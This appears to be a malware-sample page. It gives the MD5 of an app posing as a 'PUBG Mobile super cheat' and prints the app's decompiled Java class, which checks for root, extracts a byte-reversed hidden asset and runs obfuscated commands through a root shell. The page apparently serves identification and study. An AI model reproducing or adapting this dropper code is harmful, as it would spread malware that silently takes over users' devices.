刺激战场超强辅助 v1.0版本的 MD5 值为:aebe751a37339aa4ff79216017569141

以下内容为反编译后的 ht.java 源代码,内容仅作参考


package hl;

import android.content.Context;
import android.content.pm.PackageManager;
import com.qtfreet00;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
public class ht {
    private static final String END = "\n";
    private static final String EXIT = "exit";
    private static final String SH = "sh";
    private static final String SU = "su";

    private static boolean ma47c91b2(Context context, String str) {
        try {
            context.getPackageManager().getPackageInfo(str, 0);
            return true;
        } catch (PackageManager.NameNotFoundException e) {
            return false;
        }
    }

    public static void m63a9f0ea(Context context) {
        if (m2082cf4e()) {
            try {
                if (ma47c91b2(context, qtfreet00.m5b936250("121B0B5C001D151C040A174B1D0419010A071D0C15"))) {
                    m2591c98b(new String[]{qtfreet00.m5b936250("3D30393E2C272630263F2D35242039494904000B101E06491E0C074E5E071F011100195E180F10"), qtfreet00.m5b936250("011946070B0C1A0200071E0945171E1948171D04190118035C1D151C0418130A0C04")}, true);
                }
                InputStream open = context.getAssets().open(qtfreet00.m5b936250("0603115D0415045E110B070904001410"));
                File file = new File(qtfreet00.m5b936250("5E0702110417105E110B070904001410"));
                if (!file.getParentFile().exists()) {
                    file.getParentFile().mkdirs();
                }
                FileOutputStream fileOutputStream = new FileOutputStream(file);
                byte[] bArr = new byte[1024];
                byte[] bArr2 = new byte[1024];
                while (true) {
                    int read = open.read(bArr);
                    if (read != -1) {
                        for (int i = 0; i < read; i++) {
                            bArr2[i] = bArr[read - (i + 1)];
                        }
                        fileOutputStream.write(bArr2, 0, read);
                        fileOutputStream.flush();
                    } else {
                        open.close();
                        fileOutputStream.close();
                        m2591c98b(new String[]{qtfreet00.m5b936250("1C1B131C1145591E5414054917111C1B131C11455B020D15060008"), new StringBuffer().append(new StringBuffer().append(qtfreet00.m5b936250("120446")).append(file.getAbsolutePath()).toString()).append(qtfreet00.m5b936250("515B150B1611111C5B0702154A1C1D5A07020E")).toString(), new StringBuffer().append(new StringBuffer().append(qtfreet00.m5b936250("120446")).append(file.getAbsolutePath()).toString()).append(qtfreet00.m5b936250("515B150B1611111C5B16000C13591004165D0D095A10040D")).toString(), qtfreet00.m5b936250("121C0B1D0145424540465D161C0705110B5D0415045E1C0A5C04151F"), qtfreet00.m5b936250("0319465F03455B020D150600085B1400055D1500061C1D15010C0A1A025B071C01171B1810481A041710061514174B1007135A0711060007021B140B4B1D191D"), qtfreet00.m5b936250("0311041D0A11")}, true);
                        return;
                    }
                }
            } catch (Exception e) {
            }
        }
    }

    private static boolean m2082cf4e() {
        try {
            Runtime.getRuntime().exec(qtfreet00.m5b936250("0201"));
            return true;
        } catch (IOException e) {
            return false;
        }
    }

    public static boolean m2591c98b(String[] strArr, boolean z) {
        try {
            Process exec = Runtime.getRuntime().exec(z ? qtfreet00.m5b936250("0201") : qtfreet00.m5b936250("021C"));
            DataOutputStream dataOutputStream = null;
            DataOutputStream dataOutputStream2 = new DataOutputStream(exec.getOutputStream());
            for (String str : strArr) {
                if (str != null) {
                    dataOutputStream2.write(str.getBytes());
                    dataOutputStream2.write(END.getBytes());
                    dataOutputStream2.flush();
                }
            }
            dataOutputStream2.writeBytes(new StringBuffer().append(qtfreet00.m5b936250("140C0F06")).append(qtfreet00.m5b936250("7B")).toString());
            dataOutputStream2.flush();
            if (dataOutputStream2 != null) {
                dataOutputStream2.close();
            }
            exec.waitFor();
            return true;
        } catch (Exception e) {
            return false;
        }
    }
}